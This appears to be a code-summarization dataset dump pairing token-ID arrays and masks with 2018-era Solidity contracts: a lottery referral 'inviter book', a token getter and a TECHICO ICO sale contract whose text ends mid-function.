0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
555,
1680,
7862,
2423,
9762,
2568,
3386,
1919,
31639,
858,
686,
3682,
86,
639,
9716,
18359,
2694,
5027,
5621,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
abcLotto: a Block Chain Lottery
Don't trust anyone but the CODE!
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
/*
* This product is protected under license. Any unauthorized copy, modification, or use without
* express written consent from the creators is prohibited.
*/
/**+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
this inviter book can be used by your applications too.
have you heard about The 2009 DARPA Network Challenge?
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
pragma solidity ^0.4.20;
/**
* @title abc address resolver.
*/
contract abcResolverI{
function getWalletAddress() public view returns (address);
function getAddress() public view returns (address);
}
/**
* @title inviters book.
*/
contract inviterBook{
using SafeMath for *;
//storage varible
address public owner;
abcResolverI public resolver;
address public wallet;
address public lotto;
mapping (address=>bytes32) _alias;
mapping (bytes32=>address) _addressbook;
mapping (address=>address) _inviter;
mapping (address=>uint) _earnings;
mapping (address=>bool) _isRoot;
uint public rootNumber = 0;
//constant
uint constant REGISTRATION_FEE = 10000000000000000; // registration fee is 0.01 ether.
//modifier
//check contract interface, are they upgrated?
modifier abcInterface {
if((address(resolver)==0)||(getCodeSize(address(resolver))==0)){
if(abc_initNetwork()){
wallet = resolver.getWalletAddress();
lotto = resolver.getAddress();
}
}
else{
if(wallet != resolver.getWalletAddress())
wallet = resolver.getWalletAddress();
if(lotto != resolver.getAddress())
lotto = resolver.getAddress();
}
_;
}
//modifier
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyAuthorized{
require(
msg.sender == lotto
);
_;
}
//events
event OnRegisterAlias(address user, bytes32 alias);
event OnAddRoot(address root);
event OnSetInviter(address user, address inviter);
event OnWithdraw(address user, uint earning);
event OnPay(address user, uint value);
/**
* @dev constructor
*/
constructor() public{
owner = msg.sender;
}
//++++++++++++++++++++++++++++++++ root inviter functions +++++++++++++++++++++++++++++++++++++++++++++++++
// - root inviter can't be delete.
/**
* @dev add a root inviter.
*/
function addRoot(address addr) onlyOwner public{
require(_inviter[addr] == address(0x0) && _isRoot[addr] == false);
_isRoot[addr] = true;
rootNumber++;
emit OnAddRoot(addr);
}
/**
* @dev if address is a root inviter? with address param.
*/
function isRoot(address addr)
public
view
returns(bool)
{
return _isRoot[addr];
}
/**
* @dev if i am a root inviter? no param.
*/
function isRoot()
public
view
returns(bool)
{
return _isRoot[msg.sender];
}
/**
* @dev change owner address.
*/
function setOwner(address newOwner)
onlyOwner
public
{
require(newOwner != address(0x0));
owner = newOwner;
}
//++++++++++++++++++++++++++++++++ inviter functions +++++++++++++++++++++++++++++++++++++++++++++++++++++
// - inviter can be set just once.
// - can't set yourself as inviter.
/**
* @dev does anyone has inviter? with address param.
*/
function hasInviter(address addr)
public
view
returns(bool)
{
if(_inviter[addr] != address(0x0))
return true;
else
return false;
}
/**
* @dev does i has inviter? no param.
*/
function hasInviter()
public
view
returns(bool)
{
if(_inviter[msg.sender] != address(0x0))
return true;
else
return false;
}
/**
* @dev set self's inviter by name.
*/
function setInviter(string inviter) public{
//root player can't set inviter;
require(_isRoot[msg.sender] == false);
//inviter can be set just once.
require(_inviter[msg.sender] == address(0x0));
//inviter must existed.
bytes32 _name = stringToBytes32(inviter);
require(_addressbook[_name] != address(0x0));
//can't set yourself as inviter.
require(_addressbook[_name] != msg.sender);
//inviter must be valid.
require(isValidInviter(_addressbook[_name]));
_inviter[msg.sender] = _addressbook[_name];
emit OnSetInviter(msg.sender, _addressbook[_name]);
}
/**
* @dev set another's inviter by name. only by authorized contract.
*/
function setInviter(address addr, string inviter)
abcInterface
public
onlyAuthorized
{
//root player can't set inviter;
require(_isRoot[addr] == false);
//inviter can be set just once.
require(_inviter[addr] == address(0x0));
//inviter must existed.
bytes32 _name = stringToBytes32(inviter);
require(_addressbook[_name] != address(0x0));
//can't set yourself as inviter.
require(_addressbook[_name] != addr);
//inviter must be valid.
require(isValidInviter(_addressbook[_name]));
_inviter[addr] = _addressbook[_name];
emit OnSetInviter(addr, _addressbook[_name]);
}
/**
* @dev set self's inviter by address.
*/
function setInviterXAddr(address inviter) public{
//root player can't set inviter;
require(_isRoot[msg.sender] == false);
//inviter can be set just once.
require(_inviter[msg.sender] == address(0x0));
//inviter must existed.
require(inviter != address(0x0));
//can't set yourself as inviter.
require(inviter != msg.sender);
//inviter must register his alias;
require(_alias[inviter] != bytes32(0x0));
//inviter must be valid.
require(isValidInviter(inviter));
_inviter[msg.sender] = inviter;
emit OnSetInviter(msg.sender, inviter);
}
/**
* @dev set another's inviter by address. only authorized address can do this.
*/
function setInviterXAddr(address addr, address inviter)
abcInterface
public
onlyAuthorized
{
//root player can't set inviter;
require(_isRoot[addr] == false);
//inviter can be set just once.
require(_inviter[addr] == address(0x0));
//inviter must existed.
require(inviter != address(0x0));
//can't set yourself as inviter.
require(inviter != addr);
//inviter must register his alias;
require(_alias[inviter] != bytes32(0x0));
//inviter must be valid.
require(isValidInviter(inviter));
_inviter[addr] = inviter;
emit OnSetInviter(addr, inviter);
}
/**
* @dev get inviter's alias.
*/
function getInviter()
public
view
returns(string)
{
if(!hasInviter(msg.sender)) return "";
return bytes32ToString(_alias[_inviter[msg.sender]]);
}
/**
* @dev get inviter's address.
*/
function getInviterAddr()
public
view
returns(address)
{
return _inviter[msg.sender];
}
/**
* @dev check inviter's addr is valid.
*/
function isValidInviter(address inviter)
internal
view
returns(bool)
{
address addr = inviter;
while(_inviter[addr] != address(0x0)){
addr = _inviter[addr];
}
if(_isRoot[addr] == true)
return true;
else
return false;
}
//++++++++++++++++++++++++++++++++ earning functions +++++++++++++++++++++++++++++++++++++++++++++++++++++
/**
* @dev get self's referral earning.
*/
function getEarning()
public
view
returns (uint)
{
return _earnings[msg.sender];
}
/**
* @dev withdraw self's referral earning.
*/
function withdraw() public {
uint earning = _earnings[msg.sender];
if(earning>0){
_earnings[msg.sender] = 0;
msg.sender.transfer(earning);
emit OnWithdraw(msg.sender, earning);
}
}
/**
* @dev fallback funtion, calculate inviter's earning. no param.
* - direct inviter get 1/2 of the total value.
* - direct inviter's inviter get 1/2 of the direct inviter, and so on.
* - remaining balance transfered to a wallet.
*/
function()
abcInterface
public
payable
{
address addr = msg.sender;
uint balance = msg.value;
uint earning = 0;
while(_inviter[addr] != address(0x0)){
addr = _inviter[addr];
earning = balance.div(2);
balance = balance.sub(earning);
_earnings[addr] = _earnings[addr].add(earning);
}
wallet.transfer(balance);
emit OnPay(msg.sender, msg.value);
}
/**
* @dev pay funtion, calculate inviter's earning.
* - direct inviter get 1/2 of the total value.
* - direct inviter's inviter get 1/2 of the direct inviter, and so on.
* - remaining balance transfered to a wallet.
*/
function pay(address addr)
abcInterface
public
payable
onlyAuthorized
{
address _addr = addr;
uint balance = msg.value;
uint earning = 0;
while(_inviter[_addr] != address(0x0)){
_addr = _inviter[_addr];
earning = balance.div(2);
balance = balance.sub(earning);
_earnings[_addr] = _earnings[_addr].add(earning);
}
wallet.transfer(balance);
emit OnPay(addr, msg.value);
}
//++++++++++++++++++++++++++++++++ alias functions ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
/**
* @dev register a alias. you can register alias several times.
*/
function registerAlias(string alias)
abcInterface
public
payable
{
require(msg.value >= REGISTRATION_FEE);
//alias must be unique.
bytes32 _name = nameFilter(alias);
require(_addressbook[_name] == address(0x0));
//player hasn't inviter or no root can't register alias.
require(hasInviter() || _isRoot[msg.sender] == true);
if(_alias[msg.sender] != bytes32(0x0)){
//remove old alias mapping key.
_addressbook[_alias[msg.sender]] = address(0x0);
}
_alias[msg.sender] = _name;
_addressbook[_name] = msg.sender;
wallet.transfer(REGISTRATION_FEE);
//refund extra value.
if(msg.value > REGISTRATION_FEE){
msg.sender.transfer( msg.value.sub( REGISTRATION_FEE ));
}
emit OnRegisterAlias(msg.sender,_name);
}
/**
* @dev does alias exist?
*/
function aliasExist(string alias)
public
view
returns(bool)
{
bytes32 _name = stringToBytes32(alias);
if(_addressbook[_name] == address(0x0))
return false;
else
return true;
}
/**
* @dev get self's alias.
*/
function getAlias()
public
view
returns(string)
{
return bytes32ToString(_alias[msg.sender]);
}
//++++++++++++++++++++++++++++++++ auxiliary functions ++++++++++++++++++++++++++++++++++++++++++++++++++++++++
/**
* @dev name string filters
* -length limited to 32 characters.
* -restricts characters to A-Z, a-z, 0-9.
* -cannot be only numbers.
* -cannot start with 0x.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0);
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78);
require(_temp[1] != 0x58);
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
require
(
// require character is A-Z
(_temp[i] > 0x40 && _temp[i] < 0x5b) ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a)
);
// see if we have a character other than a number
if (_hasNonNumber == false && _temp[i] > 0x3a)
_hasNonNumber = true;
}
require(_hasNonNumber == true);
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
/*
* @dev transfer string to bytes32
*/
function stringToBytes32(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//limited to 32 characters
if (_length > 32 || _length == 0) return "";
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
/*
* @dev transfer bytes32 to string
*/
function bytes32ToString(bytes32 x)
internal
pure
returns (string)
{
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
/**
* @dev init address resolver.
*/
function abc_initNetwork()
internal
returns(bool)
{
//mainnet
if (getCodeSize(0xde4413799c73a356d83ace2dc9055957c0a5c335)>0){
resolver = abcResolverI(0xde4413799c73a356d83ace2dc9055957c0a5c335);
return true;
}
//rinkeby
if (getCodeSize(0xcaddb7e777f7a1d4d60914cdae52aca561d539e8)>0){
resolver = abcResolverI(0xcaddb7e777f7a1d4d60914cdae52aca561d539e8);
return true;
}
//others ...
return false;
}
/**
* @dev get code size of appointed address.
*/
function getCodeSize(address _addr)
internal
view
returns(uint _size)
{
assembly {
_size := extcodesize(_addr)
}
}
}
/**
* @title SafeMath : it's from openzeppelin.
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) public pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) public pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) public pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) public pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | * @dev set self's inviter by name./root player can't set inviter;inviter can be set just once.inviter must existed.can't set yourself as inviter.inviter must be valid. | function setInviter(string inviter) public{
require(_isRoot[msg.sender] == false);
require(_inviter[msg.sender] == address(0x0));
bytes32 _name = stringToBytes32(inviter);
require(_addressbook[_name] != address(0x0));
require(_addressbook[_name] != msg.sender);
require(isValidInviter(_addressbook[_name]));
_inviter[msg.sender] = _addressbook[_name];
emit OnSetInviter(msg.sender, _addressbook[_name]);
}
| 5,373,507 | [
1,
542,
365,
1807,
2198,
2165,
635,
508,
18,
19,
3085,
7291,
848,
1404,
444,
2198,
2165,
31,
5768,
2165,
848,
506,
444,
2537,
3647,
18,
5768,
2165,
1297,
20419,
18,
4169,
1404,
444,
3433,
2890,
487,
2198,
2165,
18,
5768,
2165,
1297,
506,
923,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
444,
3605,
2165,
12,
1080,
2198,
2165,
13,
1071,
95,
203,
3639,
2583,
24899,
291,
2375,
63,
3576,
18,
15330,
65,
422,
629,
1769,
203,
203,
3639,
2583,
24899,
5768,
2165,
63,
3576,
18,
15330,
65,
422,
1758,
12,
20,
92,
20,
10019,
7010,
203,
3639,
1731,
1578,
389,
529,
273,
14134,
2160,
1578,
12,
5768,
2165,
1769,
540,
203,
3639,
2583,
24899,
2867,
3618,
63,
67,
529,
65,
480,
1758,
12,
20,
92,
20,
10019,
203,
540,
203,
3639,
2583,
24899,
2867,
3618,
63,
67,
529,
65,
480,
1234,
18,
15330,
1769,
3639,
203,
203,
3639,
2583,
12,
26810,
3605,
2165,
24899,
2867,
3618,
63,
67,
529,
5717,
1769,
203,
203,
3639,
389,
5768,
2165,
63,
3576,
18,
15330,
65,
273,
389,
2867,
3618,
63,
67,
529,
15533,
203,
3639,
3626,
2755,
694,
3605,
2165,
12,
3576,
18,
15330,
16,
389,
2867,
3618,
63,
67,
529,
19226,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xa926231BE5a5364D50FBB18507DfD43Cb2eFFEB7/sources/TaxToken.sol | * @notice gets a token at index registered under a user address @return token addresses registered to the user address/ | function getTokenByOwnerAtIndex(address _tokenOwner, uint256 _index) external view returns(address) {
return tokenOwners[_tokenOwner][_index];
}
| 4,151,879 | [
1,
14665,
279,
1147,
622,
770,
4104,
3613,
279,
729,
1758,
327,
1147,
6138,
4104,
358,
326,
729,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
377,
445,
9162,
858,
5541,
24499,
12,
2867,
389,
2316,
5541,
16,
2254,
5034,
389,
1615,
13,
3903,
1476,
1135,
12,
2867,
13,
288,
203,
540,
327,
1147,
5460,
414,
63,
67,
2316,
5541,
6362,
67,
1615,
15533,
203,
377,
289,
203,
1377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.24;
/**
* @title TECH ICO Contract
* @dev TECH is an ERC-20 Standar Compliant Token
* Contact: [email protected] www.WorkChainCenters.io
*/
/**
* @title SafeMath by OpenZeppelin
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title admined
* @notice This contract is administered
*/
contract admined {
//mapping to user levels
mapping(address => uint8) public level;
//0 normal user
//1 basic admin
//2 master admin
/**
* @dev This contructor takes the msg.sender as the first master admin
*/
constructor() internal {
level[msg.sender] = 2; //Set initial admin to contract creator
emit AdminshipUpdated(msg.sender,2); //Log the admin set
}
/**
* @dev This modifier limits function execution to the admin
*/
modifier onlyAdmin(uint8 _level) { //A modifier to define admin-only functions
require(level[msg.sender] >= _level ); //It require the user level to be more or equal than _level
_;
}
/**
* @notice This function transfer the adminship of the contract to _newAdmin
* @param _newAdmin The new admin of the contract
*/
function adminshipLevel(address _newAdmin, uint8 _level) onlyAdmin(2) public { //Admin can be set
require(_newAdmin != address(0)); //The new admin must not be zero address
level[_newAdmin] = _level; //New level is set
emit AdminshipUpdated(_newAdmin,_level); //Log the admin set
}
/**
* @dev Log Events
*/
event AdminshipUpdated(address _newAdmin, uint8 _level);
}
contract TECHICO is admined {
using SafeMath for uint256;
//This ico have these possible states
enum State {
MainSale,
Paused,
Successful
}
//Public variables
//Time-state Related
State public state = State.MainSale; //Set initial stage
uint256 constant public SaleStart = 1527879600; //Human time (GMT): Friday, 1 de June de 2018 19:00:00
uint256 public SaleDeadline = 1535569200; //Human time (GMT): Wednesday, 29 August 2018 19:00:00
uint256 public completedAt; //Set when ico finish
//Token-eth related
uint256 public totalRaised; //eth collected in wei
uint256 public totalDistributed; //Whole sale tokens distributed
ERC20Basic public tokenReward; //Token contract address
uint256 public hardCap = 31200000 * (10 ** 18); // 31.200.000 tokens
mapping(address => uint256) public pending; //tokens pending to being transfered
//Contract details
address public creator; //Creator address
string public version = '2'; //Contract version
//Bonus Related - How much tokens per bonus
uint256 bonus1Remain = 1440000*10**18; //+20%
uint256 bonus2Remain = 2380000*10**18; //+15%
uint256 bonus3Remain = 3420000*10**18; //+10%
uint256 bonus4Remain = 5225000*10**18; //+5%
uint256 remainingActualState;
State laststate;
//User rights handlers
mapping (address => bool) public whiteList; //List of allowed to send eth
//Price related
uint256 rate = 3000; //3000 tokens per ether unit
//events for log
event LogFundrisingInitialized(address _creator);
event LogFundingReceived(address _addr, uint _amount, uint _currentTotal);
event LogBeneficiaryPaid(address _beneficiaryAddress);
event LogContributorsPayout(address _addr, uint _amount);
event LogFundingSuccessful(uint _totalRaised);
event LogSalePaused(bool _paused);
//Modifier to prevent execution if ico has ended or is holded
modifier notFinished() {
require(state != State.Successful && state != State.Paused);
_;
}
/**
* @notice ICO constructor
* @param _addressOfTokenUsedAsReward is the token to distribute
*/
constructor(ERC20Basic _addressOfTokenUsedAsReward ) public {
creator = msg.sender; //Creator is set from deployer address
tokenReward = _addressOfTokenUsedAsReward; //Token address is set during deployment
emit LogFundrisingInitialized(creator); //Log contract initialization
//PreSale tokens already sold = 4.720.047 tokens
pending[0x8eBBcb4c4177941428E9E9E68C4914fb5A89650E] = 4720047000000000000002000;
//To no exceed total tokens to sell, update numbers - bonuses not affected
totalDistributed = 4720047000000000000002000;
}
/**
* @notice Check remaining and cost function
* @dev The cost function doesn't include the bonuses calculation
*/
function remainingTokensAndCost() public view returns (uint256[2]){
uint256 remaining = hardCap.sub(totalDistributed);
uint256 cost = remaining.sub((bonus1Remain.mul(2)).div(10));
cost = cost.sub((bonus2Remain.mul(15)).div(100));
cost = cost.sub(bonus3Remain.div(10));
cost = cost.sub((bonus4Remain.mul(5)).div(100));
cost = cost.div(3000);
return [remaining,cost];
}
/**
* @notice Whitelist function
* @param _user User address to be modified on list
* @param _flag Whitelist status to set
*/
function whitelistAddress(address _user, bool _flag) public onlyAdmin(1) {
whiteList[_user] = _flag; //Assign status to user on whitelist
}
/**
* @notice Pause function
* @param _flag Pause status to set
*/
function pauseSale(bool _flag) onlyAdmin(2) public {
require(state != State.Successful);
if(_flag == true){
require(state != State.Paused);
laststate = state;
remainingActualState = SaleDeadline.sub(now);
state = State.Paused;
emit LogSalePaused(true);
} else {
require(state == State.Paused);
state = laststate;
SaleDeadline = now.add(remainingActualState);
emit LogSalePaused(false);
}
}
/**
* @notice contribution handler
*/
function contribute(address _target) public notFinished payable {
require(now > SaleStart); //This time must be equal or greater than the start time
//To handle admin guided contributions
address user;
//Let's if user is an admin and is givin a valid target
if(_target != address(0) && level[msg.sender] >= 1){
user = _target;
} else {
user = msg.sender; //If not the user is the sender
}
require(whiteList[user] == true); //User must be whitelisted
totalRaised = totalRaised.add(msg.value); //ether received updated
uint256 tokenBought = msg.value.mul(rate); //base tokens amount calculation
//Bonus calc helpers
uint256 bonus = 0; //How much bonus for this sale
uint256 buyHelper = tokenBought; //Base tokens bought
//Bonus Stage 1
if(bonus1Remain > 0){ //If there still are some tokens with bonus
//Lets check if tokens bought are less or more than remaining available
//tokens whit bonus
if(buyHelper <= bonus1Remain){ //If purchase is less
bonus1Remain = bonus1Remain.sub(buyHelper); //Sub from remaining
//Calculate the bonus for the total bought amount
bonus = bonus.add((buyHelper.mul(2)).div(10));//+20%
buyHelper = 0; //Clear buy helper
}else{ //If purchase is more
buyHelper = buyHelper.sub(bonus1Remain); //Sub from purchase helper the remaining
//Calculate bonus for the remaining bonus tokens
bonus = bonus.add((bonus1Remain.mul(2)).div(10));//+20%
bonus1Remain = 0; //Clear bonus remaining tokens
}
}
